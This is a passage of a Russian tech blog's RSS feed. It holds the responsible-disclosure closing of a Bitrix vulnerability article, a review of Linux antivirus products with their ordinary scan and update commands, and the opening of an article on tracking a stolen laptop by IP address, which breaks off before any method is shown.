<p style="text-align:justify;">Все, что было обнаружено, уже должно быть исправлено в новом Битриксе на момент публикации этой статьи. Всегда до публикации следует оповещать разработчиков и согласовывать сроки публикации. Так и было сделано. Находить уязвимости и взламывать сайты — это две совершенно разные задачи. А если учесть масштабы распространения Битрикса в рунете — последствия атак могли бы быть весьма внушительными. Исследователь — не взломщик, он энтузиаст, стремится показать, где программа недоработана, и в итоге способствует тому, чтобы его продукт стал более защищен. На этом снимаю перед тобой шляпу и откланиваюсь. И замечу (на всякий случай), что в ходе исследования ни один живой сайт не пострадал. Как всегда, на вопросы отвечаю в блоге <a href="http://oxod.ru/" target="_blank">oxod.ru</a>.</p>
<br />Filed under: <a href='http://arthurbabark.wordpress.com/category/%d0%b2%d0%b7%d0%bb%d0%be%d0%bc/'>ВЗЛОМ</a>  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/arthurbabark.wordpress.com/239/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/arthurbabark.wordpress.com/239/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/arthurbabark.wordpress.com/239/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/arthurbabark.wordpress.com/239/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/arthurbabark.wordpress.com/239/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/arthurbabark.wordpress.com/239/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/arthurbabark.wordpress.com/239/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/arthurbabark.wordpress.com/239/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/arthurbabark.wordpress.com/239/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/arthurbabark.wordpress.com/239/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/arthurbabark.wordpress.com/239/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/arthurbabark.wordpress.com/239/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/arthurbabark.wordpress.com/239/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/arthurbabark.wordpress.com/239/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=arthurbabark.wordpress.com&amp;blog=5119110&amp;post=239&amp;subd=arthurbabark&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://arthurbabark.wordpress.com/2010/09/22/%d0%bc%d0%be%d0%bb%d0%be%d1%82%d0%ba%d0%be%d0%bc-%d0%bf%d0%be-%d0%b1%d0%b8%d1%82%d1%80%d0%b8%d0%ba%d1%81%d1%83-%d0%b2%d1%8b%d1%8f%d0%b2%d0%bb%d1%8f%d0%b5%d0%bc-0day-%d1%83%d1%8f%d0%b7%d0%b2%d0%b8/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/4d5f0956c7f4132011a56321959fd142?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">webmaster</media:title>
		</media:content>
	</item>
		<item>
		<title>Плацебо для тукса: тестирование антивирусов для Linux</title>
		<link>http://arthurbabark.wordpress.com/2010/09/17/%d0%bf%d0%bb%d0%b0%d1%86%d0%b5%d0%b1%d0%be-%d0%b4%d0%bb%d1%8f-%d1%82%d1%83%d0%ba%d1%81%d0%b0-%d1%82%d0%b5%d1%81%d1%82%d0%b8%d1%80%d0%be%d0%b2%d0%b0%d0%bd%d0%b8%d0%b5-%d0%b0%d0%bd%d1%82%d0%b8%d0%b2/</link>
		<comments>http://arthurbabark.wordpress.com/2010/09/17/%d0%bf%d0%bb%d0%b0%d1%86%d0%b5%d0%b1%d0%be-%d0%b4%d0%bb%d1%8f-%d1%82%d1%83%d0%ba%d1%81%d0%b0-%d1%82%d0%b5%d1%81%d1%82%d0%b8%d1%80%d0%be%d0%b2%d0%b0%d0%bd%d0%b8%d0%b5-%d0%b0%d0%bd%d1%82%d0%b8%d0%b2/#comments</comments>
		<pubDate>Fri, 17 Sep 2010 15:26:08 +0000</pubDate>
		<dc:creator>webmaster</dc:creator>
				<category><![CDATA[PC ZONE]]></category>
		<category><![CDATA[UNIXOID]]></category>

		<guid isPermaLink="false">http://arthurbabark.wordpress.com/?p=235</guid>
		<description><![CDATA[Задавался ли ты хоть раз вопросом, нужен ли антивирус для Linux? Немало копий было сломано в бесконечных спорах, и вот, ответ, вроде бы, очевиден — конечно же, нужен! Но только если надо искать виндовые вирусы. Казалось бы, можно считать за аксиому, что если на платформе есть вирусы — то нужен и антивирус. Но с Linux [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=arthurbabark.wordpress.com&amp;blog=5119110&amp;post=235&amp;subd=arthurbabark&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p style="text-align:justify;">Задавался ли ты хоть раз вопросом, нужен ли антивирус для Linux? Немало копий было сломано в бесконечных спорах, и вот, ответ, вроде бы, очевиден — конечно же, нужен! Но только если надо искать виндовые вирусы.</p>
<p style="text-align:justify;">Казалось бы, можно считать за аксиому, что если на платформе есть вирусы — то нужен и антивирус. Но с Linux не все так просто. Да, вирусы под Linux есть, но в 99% случаев — это черви, умеющие эксплуатировать одну-единственную уязвимость в конкретном сервисе и, как правило, конкретном дистрибутиве (так как версия сервиса, настройки, да и параметры компиляции меняются от дистрибутива к дистрибутиву). Хорошим доказательством этого факта может служить, например, Linux.Ramen (использующий уязвимости в wu-ftpd на Red Hat 6.2 и 7.0), макрочервь Badbunny для OpenOffice или тот же червь Морриса.</p>
<p style="text-align:justify;">Однако практически у каждого производителя антивирусов есть версия под Linux. Правда, чаще всего это версия для почтового сервера, шлюза или общего файлохранилища, для защиты виндовых клиентов. Но последнее время начало расти количество антивирусов для Linux-десктопа. И производители соответствующих продуктов пугают &laquo;прибывающим в геометрической прогрессии количеством малвари под Linux&raquo;. Использовать или нет антивирус на Linux-десктопе – личное дело каждого. По мне – так пока популярность Linux на десктопах не превысила 1-2%, и производители популярных дистрибутивов своевременно выпускают security-апдейты – бояться нечего. Но бывают ситуации, когда надо проверить винт с виндой на вирусы или флешку перед тем, как отдать кому-нибудь. В таких случаях и может пригодиться антивирь под Linux.<span id="more-235"></span></p>
<p style="text-align:justify;">Вообще, тестирование антивирей – дело неблагодарное, поскольку какого-то объективного теста не существует, и все очень сильно зависит от тестового набора вирусов (чем с успехом пользуются производители, периодически вынося на суд общественности тесты, неоспоримо доказывающие, что их антивирус &laquo;самый-самый&raquo;). Так как во всех линуксовых антивирусах базы и ядро идентичны виндовой версии, можно смело оценивать эффективность антивирусов под Linux по тестам виндовых версий.</p>
<h2 style="text-align:justify;">Платно</h2>
<p style="text-align:justify;">За большинство подобных антивирусов производители просят деньги. Если антивирус делался с прицелом на корпоративных клиентов, он и стоить будет неплохих денег. Но если антивирь нужен &laquo;на пару раз&raquo;, то можно обойтись и триальной лицензией (благо, большинство производителей ее предоставляют).</p>
<p style="text-align:justify;">Обзор начну с <strong>Dr.Web для Linux</strong>, так как в апреле вышла &laquo;революционная&raquo; версия под номером 6 с новыми интересными возможностями и графическим интерфейсом. Имеется поддержка как 32-, так и 64-битных дистрибутивов. Установка элементарна – с официального сайта скачивается .run-файлик, при запуске которого появляется графический установщик. После пары нажатий кнопки &laquo;Далее&raquo; продукт будет установлен. Если лицензионного ключа пока нет, то во время установки можно запросить с сервера компании демо-ключ на 30 дней (демо-ключ можно запрашивать не чаще 1 раза в 4 месяца). После установки в меню Gnome появится пункт &laquo;DrWeb&raquo; (с двумя подпунктами: запуск антивируса и его удаление), а в трее появится симпатичная, но не очень подходящая под дефолтную убунтовскую тему иконка, символизирующая работу файлового монитора.</p>
<p style="text-align:justify;">CLI-сканер тоже есть, для сканирования текущего каталога запускается так:</p>
<p style="text-align:justify;"><code>$ /opt/drweb/drweb ./</code></p>
<p style="text-align:justify;">Если ругнется на отсутствие файла с ключом, то запускать с указанием ini-файла, например:</p>
<p style="text-align:justify;"><code>$ /opt/drweb/drweb -ini=/home/adept/.drweb/drweb32.ini ./</code></p>
<p style="text-align:justify;">Итого, за 799 рублей в год пользователь получит антивирус с графическим (GTK) и CLI интерфейсом, интеграцией с DE, антивирусным сканером и монитором, проверяющим файлы при обращении к ним. Учитывая общее с версией под винду ядро и базы – довольно выгодное предложение для тех, кому для спокойного сна нужен платный антивирус для Linux-десктопа.</p>
<p style="text-align:justify;">В отличие от Dr.Web, в Лаборатории Касперского считают, что домашнему Linux-пользователю антивирус совсем не нужен. А вот в корпоративном секторе может и пригодиться. Поэтому <strong>Антивирус Касперского для Linux Workstation</strong> нельзя купить отдельно, только в составе Kaspersky Total Space Security, Kaspersky Enterprise Space Security, Kaspersky Business Space Security или Kaspersky Work Space Security (то есть, от 7700 рублей в год). Обновляется версия под Linux не очень активно – последний релиз (5.7.26) был аж в октябре 2008. На сайте доступны deb и rpm, заявлена поддержка как 32-, так и 64-бит. При установке сразу требует выдать ему файл с лицензионным ключом (который можно запросить на офсайте для тестирования), предлагает настроить прокси и скачать последние версии баз, а также может установить специальный модуль для webim и скомпилировать модуль ядра kavmonitor (позволяет перехватывать вызовы ядра на обращения к файлам и проверять эти файлы на вирусы). К сожалению, kavmonitor не поддерживает ядра новее 2.6.21 (для 32-битных систем) и 2.6.18 (для 64-битных), поэтому на всех более-менее новых дистрибутивах придется обойтись без него. Графического интерфейса у антивируса нет, только CLI. Запускается следующим образом:</p>
<p style="text-align:justify;"><code>$ sudo /opt/kaspersky/kav4ws/bin/kav4ws-kavscanner /tmp</code></p>
<p style="text-align:justify;">Обновить базы можно так:</p>
<p style="text-align:justify;"><code>$ sudo /opt/kaspersky/kav4ws/bin/kav4ws-keepup2date</code></p>
<p style="text-align:justify;">Основные настройки антивируса хранятся в конфиге /etc/opt/kaspersky/kav4ws.conf.</p>
<p style="text-align:justify;">Еще один популярный у нас на родине производитель антивирусов – ESET – тоже имеет версию для Linux-десктопов (<strong>ESET NOD32 Antivirus 4 for Linux Desktop</strong>), которая, правда, пока носит статус бета-версии. Зато бета-версию можно абсолютно бесплатно использовать до определенной даты. После выхода релиза, скорее всего, бесплатно можно будет использовать только триальную версию. Поддерживаются архитектуры x86 и x86-64, установка происходит с помощью графического инсталлятора. По умолчанию антивирус ставится в /opt/eset. После установки нас приветствует лаконичный интерфейс на GTK и иконка в системном трее, символизирующая работу файлового монитора. Интерфейс можно переключить в &laquo;режим эксперта&raquo;, в котором добавится пара пунктов: Setup (для настройки сканера и монитора) и Tools (для просмотра логов и файлов, находящихся на карантине). Есть также CLI-сканер, сканирование текущего каталога:</p>
<p style="text-align:justify;"><code>$ /opt/eset/esets/sbin/esets_scan ./</code></p>
<p style="text-align:justify;">Опция &#8216;-h&#8217; покажет возможные опции сканирования.</p>
<p style="text-align:justify;">Еще один достаточно крупный производитель антивирусных решений, имеющий Linux-версии своих антивирусов – McAfee. Вообще, если оценивать только их Linux-продукты, то вендор довольно странный (к слову, единственный, у кого веб-сайт крутится на IIS – ничего личного, просто статистика <img src='http://s2.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> ). Вместо All-in-one решения в их продуктовой линейке есть несколько отдельных решений для Linux: <strong>LinuxShield</strong> (монитор, проверяющий файлы при обращении) и<strong>VirusScan Command Line Scanner for Linux</strong>. LinuxShield стоит приблизительно в 2 раза дороже. Зато Command Line Scanner есть не только под Linux (x86 и x86-64), но и практически под все мыслимые ОС: Windows, FreeBSD, Solaris, HP-UX и AIX. McAfee позиционирует свои продукты как решения только для крупных компаний, поэтому у партнеров можно купить не меньше 11 лицензий каждого наименования продукта, а прежде чем скачать пробную версию, надо заполнить самую большую регистрационную анкету, в которой подробно рассказать про свою компанию.</p>
<p style="text-align:justify;">Command Line Scanner устанавливается скриптом install-uvscan из скачанного архива. При установке скрипт задаст пару вопросов (куда установить и сделать ли симлинки) и предложит сразу проверить всю ФС. Сканер не рассчитан на работу с новыми дистрибутивами, поэтому без плясок с бубном на Ubuntu 10.04 не завелся, ругнулся на отсутствие libstdc++.so.5. Пришлось ставить из <a href="http://packages.debian.org/stable/base/libstdc++5" target="_blank">дебиана</a>. Это единственный антивирусный сканер, не имеющий какой-либо утилиты для обновления. Новые базы предлагается скачивать самостоятельно и складывать в инсталляционную директорию. Для сканирования текущей директории набираем:</p>
<p style="text-align:justify;"><code>$ uvsan ./</code></p>
<p style="text-align:justify;">Команда &laquo;man uvscan&raquo; поведает о большом количестве возможных опций разной степени полезности.</p>
<p style="text-align:justify;">LinuxShield официально поддерживает только RHEL и SLED, для других дистрибутивов (и, соответственно, других ядер) необходимо пересобирать ядро с модулями антивируса. Сомнительное удовольствие – пересобирать ядро при каждом апдейте из-за одних только антивирусных модулей. К тому же не факт, что модули соберутся с ядрами новее 2.6.18.</p>
<h2 style="text-align:justify;">Халява</h2>
<p style="text-align:justify;">Некоторые производители для привлечения внимания к своей продукции выдают бесплатные ключи для домашнего использования (в том числе и Linux-версий).</p>
<p style="text-align:justify;">Так поступает, например, BitDefender. Ее продуктом <strong>BitDefender Antivirus Scanner for Unices</strong> можно пользоваться совершенно бесплатно в личных целях. После заполнения небольшой регистрационной анкеты на офсайте, на почту придет письмо с ключом на год и напоминанием о том, что ключ &laquo;for personal usage only&raquo;. Еще один плюс в копилку BitDefender – количество версий: для скачивания доступны deb- и rpm-пакеты, ipk (универсальный инсталлятор) и tbz для FreeBSD. И все это как для 32-, так и для 64-битных ОС. Также внушает уважение мануал на 128 страниц. В составе антивируса только сканер, монитора нет. Сканер можно запустить как через GUI (есть интеграция с DE), так и через CLI. Сканирование текущего каталога:</p>
<p style="text-align:justify;"><code>$ bdscan ./</code></p>
<p style="text-align:justify;">Обновление баз:</p>
<p style="text-align:justify;"><code>$ sudo bdscan --update</code></p>
<p style="text-align:justify;">Как обычно, &laquo;man bdscan&raquo; покажет много интересных опций.</p>
<p style="text-align:justify;">Еще один бесплатный для персонального использования антивирус – <strong>AVG</strong>. Есть версии под Linux (deb, rpm, sh и просто архив с бинарниками. Правда, только 32-битные) и FreeBSD (тоже только для x86). Для винды доступна 9-я версия, а для никсов – пока только 8.5 (выпущена в январе 2010), но бета-версию грядущей девятки можно скачать после регистрации. Кроме сканера есть монитор для сканирования на лету. Только включение данной функции не тривиально: нужны специальные модули для ядра (RedirFS или Dazuko). Графического интерфейса у антивируса нет, только CLI. Сканирование текущей директории:</p>
<p style="text-align:justify;"><code>$ avgscan ./</code></p>
<p style="text-align:justify;">Обновление баз:</p>
<p style="text-align:justify;"><code>$ sudo avgupdate</code></p>
<p style="text-align:justify;">Очередной претендент – <strong>avast</strong>. Можно получить бесплатную годовую лицензию на персональное использование после регистрации. Есть deb, rpm и архив с бинарниками. Правда, опять только для 32-бит. Также отсутствует интеграция с DE. Запускается антивирус командой avastgui.</p>
<p style="text-align:justify;">При первом запуске спросит регистрационный ключ или предложит пройти по ссылке и получить его на сайте (однако не ведись: хитрый антивирус отправляет по неправильной ссылке; правильный линк:<a href="http://www.avast.com/registration-free-antivirus.php" target="_blank">www.avast.com/registration-free-antivirus.php</a>).</p>
<p style="text-align:justify;">Кроме GUI, есть также CLI-интерфейс. Сканирование текущего каталога:</p>
<p style="text-align:justify;"><code>$ avast ./</code></p>
<p style="text-align:justify;">Обновление баз:</p>
<p style="text-align:justify;"><code>$ sudo avast-update</code></p>
<p style="text-align:justify;">Следующий вендор, предлагающий бесплатное домашнее использование своего продукта – F-PROT. Версия для Linux:<strong>F-PROT Antivirus for Linux Workstations</strong>. Есть версии для Linux (i386, x86-64 и PowerPC), FreeBSD, Solaris (для SPARC и Intel) и даже AIX. Последняя версия для Linux (6.0.3) вышла в декабре 2009 года. Установка осуществляется с помощью скрипта install-f-prot.pl. Скрипт просто создает симлинки в /usr/local/bin (или любой другой указанной директории на скачанные бинарники, поэтому лучше не устанавливать F-Prot, скажем, с рабочего стола, а предварительно переместить его куда-нибудь, например, в /opt). Последняя стадия установки – скачивание обновлений и постановка заданий на ежечасное скачивание обновлений в крон. Запуск:</p>
<p style="text-align:justify;"><code>$ fpscan /</code></p>
<p style="text-align:justify;">Параметрами можно задать много вещей: например, глубину рекурсии (по умолчанию 30), уровни сканирования и уровень работы эвристика и т.д. (подробнее читай &laquo;man fpsan&raquo;). Принудительное обновление баз можно запустить командой fpupdate (лежит в инсталляционной директории).</p>
<h2 style="text-align:justify;">Свобода</h2>
<p style="text-align:justify;">Самый известный (и по совместительству – единственный нормальный) OpenSource антивирус – <strong>clamav</strong>. Есть консольный сканер и несколько GUI к нему (clamtk для GTK и klamav для kde). Может работать также в качестве монитора через DazukoFS. Правда, в большинстве тестов показывает не самые блестящие результаты. Зато есть в репозитории любого дистрибутива, для любой архитектуры, и нет никаких лицензионных ограничений. Самое то для нетребовательных пользователей!</p>
<blockquote style="text-align:justify;">
<h3>DazukoFS</h3>
<p>DazukoFS (от Dateizugriffskontrolle, с немецкого – контроль за доступом к файлам) – специальная ФС, предоставляющая приложениям механизмы для контроля доступа к файлам. Так как DazukoFS не входит в ванильное ядро, для того, чтобы ею воспользоваться, придется пропатчить и пересобрать ядро. DazukoFS используется многими антивирусами для реализации функции монитора.</p>
<p>Первые две версии Dazuko были разработаны и выпущены под лицензией GPL компанией Avira GmbH. Третья версия, получившая название DazukoFS, была полностью переписана уже силами сообщества.</p></blockquote>
<h2 style="text-align:justify;">Живой антивирус</h2>
<p style="text-align:justify;">LiveCD с антивирусом не раз выручал меня в ситуации, когда нужно было быстро восстановить хоть какую-нибудь работоспособность винды, которая под грузом своих вирусов ни в какую не хотела загружаться. К сожалению, выбор среди подобных инструментов не очень велик – далеко не каждый вендор предлагает свой LiveCD, да еще и на халяву.</p>
<p style="text-align:justify;">Пожалуй, самый известный представитель – <strong>Dr.Web LiveCD</strong>. Текущая версия (5.02) вышла довольно давно, и пока никаких публичных бета-версий нет (хотя сборка с обновленными базами выходит каждые сутки). Но есть надежда, что, после выхода версии 6 под Linux LiveCD, наконец обновят. Несмотря на то, что сборка основана на не совсем старых компонентах (ядро, например, версии 2.6.30), ветка про LiveCD на официальном форуме drweb полна сообщениями о том, что ОС в графическом режиме не грузится на том или ином железе. На такой случай есть SafeMode с голой консолькой и консольным сканером.</p>
<p style="text-align:justify;">В отличие от Dr.Web, <strong>Касперский</strong> свой LiveCD особо не афиширует, на офсайте о нем нет даже упоминания. Но от гугла ничего не скроешь! <img src='http://s2.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  LiveCD можно свободно скачать <a href="http://devbuilds.kaspersky-labs.com/devbuilds/RescueDisk10/" target="_blank">отсюда</a>. Грузится LiveCD довольно шустро. Только успеешь заметить, что он построен на базе Gentoo и ядре 2.6.31, как выскочит лицензионное соглашение. После принятия условий использования запускается GUI (внешне похожий на kav 2010) с возможностью сканирования и обновления баз.</p>
<p style="text-align:justify;">У <strong>AVG</strong> тоже есть свой LiveCD. При запуске встречает лицензионным соглашением, которое, конечно же, внимательно прочитав, надо принять (иначе – ребут). Единственный LiveCD, имеющий псевдографический интерфейс. При загрузке автоматически монтирует виндовые разделы, при этом разделы с ФС, отличной от FAT или NTFS, монтировать отказывается. Но из псевдографического интерфейса можно выйти (а при необходимости командой arl запустить опять), смонтировать руками и запустить проверку из консоли. Из полезностей можно еще отметить тулзу для редактирования реестра (Windows Registry Editor).</p>
<p style="text-align:justify;">Бывают случаи, когда результатов проверки одним антивирусом недостаточно. Видимо, так думали создатели дистрибутива <strong>ViAvRe</strong> (<strong>Virtual Antivirus Rechecker</strong>), содержащего целый ворох различных антивирусов: Avg, Avast, Doctor Web (CureIt), McAfee, BitDefender, F-Prot. Проект еще очень молодой, но уже подает большие надежды. Последняя на момент написания статьи версия (04.10, вышедшая в апреле этого года) создана на базе OpenSuse 11.2 с помощью SuSeStudio. Еще одна фишка дистрибутива – команда viavre-update, позволяющая обновить базы сразу для всех установленных антивирусов. Выпускается LiveCD в двух редакциях: full версия с KDE (и минимальными требованиями в 768 Мб ОЗУ) и light версия с LXDE (поставляется без антивируса mcafee, avg, firefox, virtualbox и k3b; способна работать на 256 Мб ОЗУ).</p>
<h2 style="text-align:justify;">Заключение</h2>
<p style="text-align:justify;">К сожалению, рассмотреть удалось далеко не все антивирусы для Linux, а только наиболее известные. За бортом остались, например, Panda DesktopSecure for Linux и антивирус от Avira. Но я надеюсь, что и среди представленных вариантов ты при необходимости сможешь найти себе что-нибудь по душе.</p>
<blockquote style="text-align:justify;">
<h3>INFO</h3>
<p>Подробнее про ClamAV читай в <a href="http://www.xakep.ru/magazine/xa/116/default.asp">Хакере за август 2008</a> (статья &laquo;<a href="http://www.xakep.ru/magazine/xa/116/080/1.asp">Побеждаем вирусы в никсах</a>&laquo;).</p>
<h3>WWW</h3>
<p><a href="http://products.drweb.com/linux" target="_blank">products.drweb.com/linux</a> – Dr.Web для Linux<br />
<a href="http://www.freedrweb.com/livecd" target="_blank">www.freedrweb.com/livecd</a> – Dr.Web LiveCD<br />
<a href="http://www.kaspersky.ru/anti-virus_linux_workstation" target="_blank">www.kaspersky.ru/anti-virus_linux_workstation</a> – Антивирус Касперского для Linux Workstation<br />
<a href="http://beta.eset.com/linux" target="_blank">beta.eset.com/linux</a> – NOD32 для Linux-десктопов<br />
<a onclick="return mugicPopWin(this,event);" oncontextmenu="mugicRightClick(this);" href="http://www.bitdefender.com/world/business/antivirus-for-unices.html" target="_blank">www.bitdefender.com/world/business/antivirus-for-unices.html</a> – BitDefender для Linux<br />
<a onclick="return mugicPopWin(this,event);" oncontextmenu="mugicRightClick(this);" href="http://free.avg.com/gb-en/download.prd-afl" target="_blank">free.avg.com/gb-en/download.prd-afl</a> – AVG Free Edition for Linux<br />
<a href="http://www.avast.com/linux-home-edition" target="_blank">www.avast.com/linux-home-edition</a> – avast! Linux Home Edition<br />
<a href="http://www.clamav.net/" target="_blank">www.clamav.net</a> – ClamAV<br />
<a href="http://code.google.com/p/viavre/" target="_blank">code.google.com/p/viavre/</a> – ViAvRe</p>
<h3>WARNING</h3>
<p style="text-align:justify;">Помни, что лечение винды с LiveCD не всегда безопасно. На форумах полно тем про то, что после такого лечения винда не загружалась.</p>
</blockquote>
<br />Filed under: <a href='http://arthurbabark.wordpress.com/category/pc-zone/'>PC ZONE</a>, <a href='http://arthurbabark.wordpress.com/category/unixoid/'>UNIXOID</a>  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/arthurbabark.wordpress.com/235/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/arthurbabark.wordpress.com/235/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/arthurbabark.wordpress.com/235/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/arthurbabark.wordpress.com/235/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/arthurbabark.wordpress.com/235/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/arthurbabark.wordpress.com/235/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/arthurbabark.wordpress.com/235/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/arthurbabark.wordpress.com/235/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/arthurbabark.wordpress.com/235/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/arthurbabark.wordpress.com/235/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/arthurbabark.wordpress.com/235/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/arthurbabark.wordpress.com/235/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/arthurbabark.wordpress.com/235/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/arthurbabark.wordpress.com/235/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=arthurbabark.wordpress.com&amp;blog=5119110&amp;post=235&amp;subd=arthurbabark&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://arthurbabark.wordpress.com/2010/09/17/%d0%bf%d0%bb%d0%b0%d1%86%d0%b5%d0%b1%d0%be-%d0%b4%d0%bb%d1%8f-%d1%82%d1%83%d0%ba%d1%81%d0%b0-%d1%82%d0%b5%d1%81%d1%82%d0%b8%d1%80%d0%be%d0%b2%d0%b0%d0%bd%d0%b8%d0%b5-%d0%b0%d0%bd%d1%82%d0%b8%d0%b2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/4d5f0956c7f4132011a56321959fd142?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">webmaster</media:title>
		</media:content>
	</item>
		<item>
		<title>Как найти украденный ноутбук?</title>
		<link>http://arthurbabark.wordpress.com/2010/09/16/%d0%ba%d0%b0%d0%ba-%d0%bd%d0%b0%d0%b9%d1%82%d0%b8-%d1%83%d0%ba%d1%80%d0%b0%d0%b4%d0%b5%d0%bd%d0%bd%d1%8b%d0%b9-%d0%bd%d0%be%d1%83%d1%82%d0%b1%d1%83%d0%ba/</link>
		<comments>http://arthurbabark.wordpress.com/2010/09/16/%d0%ba%d0%b0%d0%ba-%d0%bd%d0%b0%d0%b9%d1%82%d0%b8-%d1%83%d0%ba%d1%80%d0%b0%d0%b4%d0%b5%d0%bd%d0%bd%d1%8b%d0%b9-%d0%bd%d0%be%d1%83%d1%82%d0%b1%d1%83%d0%ba/#comments</comments>
		<pubDate>Thu, 16 Sep 2010 10:04:59 +0000</pubDate>
		<dc:creator>webmaster</dc:creator>
				<category><![CDATA[PC ZONE]]></category>

		<guid isPermaLink="false">http://arthurbabark.wordpress.com/?p=226</guid>
		<description><![CDATA[Потеря ноутбука, несомненно, большое горе. Очевидные материальные потери не всегда оказываются самой большой проблемой. Вместе с ноутбуком можно остаться без важных рабочих файлов, над которыми велась работа последний месяц, или, того хуже, конфиденциальных документов. Надеяться на одни только силы милиции в данной ситуации нелепо, но если предварительно подготовиться, то шансы вернуть сам ноутбук и данные [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=arthurbabark.wordpress.com&amp;blog=5119110&amp;post=226&amp;subd=arthurbabark&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p style="text-align:justify;">Потеря ноутбука, несомненно, большое горе. Очевидные материальные потери не всегда оказываются самой большой проблемой. Вместе с ноутбуком можно остаться без важных рабочих файлов, над которыми велась работа последний месяц, или, того хуже, конфиденциальных документов. Надеяться на одни только силы милиции в данной ситуации нелепо, но если предварительно подготовиться, то шансы вернуть сам ноутбук и данные с него значительно возрастут.</p>
<h2 style="text-align:justify;">Что будет, если просто довериться органам?</h2>
<p style="text-align:justify;">Отыскать ноутбук, который попал в чужие руки, теоретически можно. Рассмотрим сначала ситуацию с пропавшим сотовым телефоном. При поступлении заявления в милицию о краже iPhone/BlackBerry и любых других гаджетов, которые умеют звонить, у человека обязательно спрашивают IMEI-код телефона. Это уникальный идентификатор, который жестко вшит в девайс, а потому изменить его крайне сложно (для этого обычно приходится лезть в &laquo;железо&raquo; девайса). В результате, если кто-то захочет воспользоваться мобильником, то операторы сотовой связи, вероятно, смогут дать ответ, кто именно. Конечно, не любому желающему, а лишь компетентным органам и, более того, по решению суда. Если телефон просто перепродали &laquo;как есть&raquo; и милиция заморочится по поводу его поиска, то найти его нового обладателя будет несложно. С ноутбуком такой фокус не пройдет. В отличие от телефона у лэптопа нет однозначных уникальных идентификаторов (если не считать MAC-адреса сетевых адаптеров, но они едва ли помогут), которые помогли бы определить его новое местоположение.</p>
<p style="text-align:justify;">Получается, что если самому заблаговременно не оставить возможные лазейки для возвращения ноутбука, то найти его будет крайне трудно. Это как история с ключами. Если куда-то их неудачно закинешь, то искать можно пол-утра. Но если они с дешевым китайским брелком, который начинает пищать на свист, то поиск станут минутным делом. Стало быть, надо нацепить на свой ноутбук такой &laquo;брелок&raquo;. Но как это сделать?<span id="more-226"></span></p>
<h2 style="text-align:justify;">Ноутбук, ты где?</h2>
<p style="text-align:justify;">Идеальным помощником могла бы стать специальная программа, которая отсылала бы на определенный сервер информацию о текущем расположении ноутбука. То есть это выглядело бы примерно так: вы всегда бы могли открыть в браузере некий сайт и увидеть на карте, где именно находится лэптоп. Увы, в реальной жизни такого не бывает. GPS-модуль, который мог бы определить текущие координаты, установлен лишь на некоторых моделях нетбуков, и это редкость.</p>
<p style="text-align:justify;">Если смотреть на ситуацию реально, то главной ниточкой к лэптопу может стать сетевой IP-адрес, который получает система при подключении к Интернету. Интернет-провайдер всегда знает, в какое время и кому он выдавал каждый конкретный IP. Получается, что если оставить некоторый маячок, который незаметно будет отправлять текущий IP-адрес, можно выйти на его нового &laquo;владельца&raquo;. Обратившись с запросом к провайдеру, к которому он принадлежит (это общедоступная информация), следователь всегда сможет узнать, где физически находится абонент. Вот она – настоящая зацепка, которая поможет вам вернуть ноутбук, а милиции поставить очередную палочку в своей статистике. Мало этого, помимо IP-адреса с ноутбука можно незаметно передавать массу других данных: скриншот экрана, текущие запущенные программы и самое интересное – изображение с веб-камеры. Как говорится, негодяев надо знать в лицо.</p>
<h2 style="text-align:justify;">Как это работает?</h2>
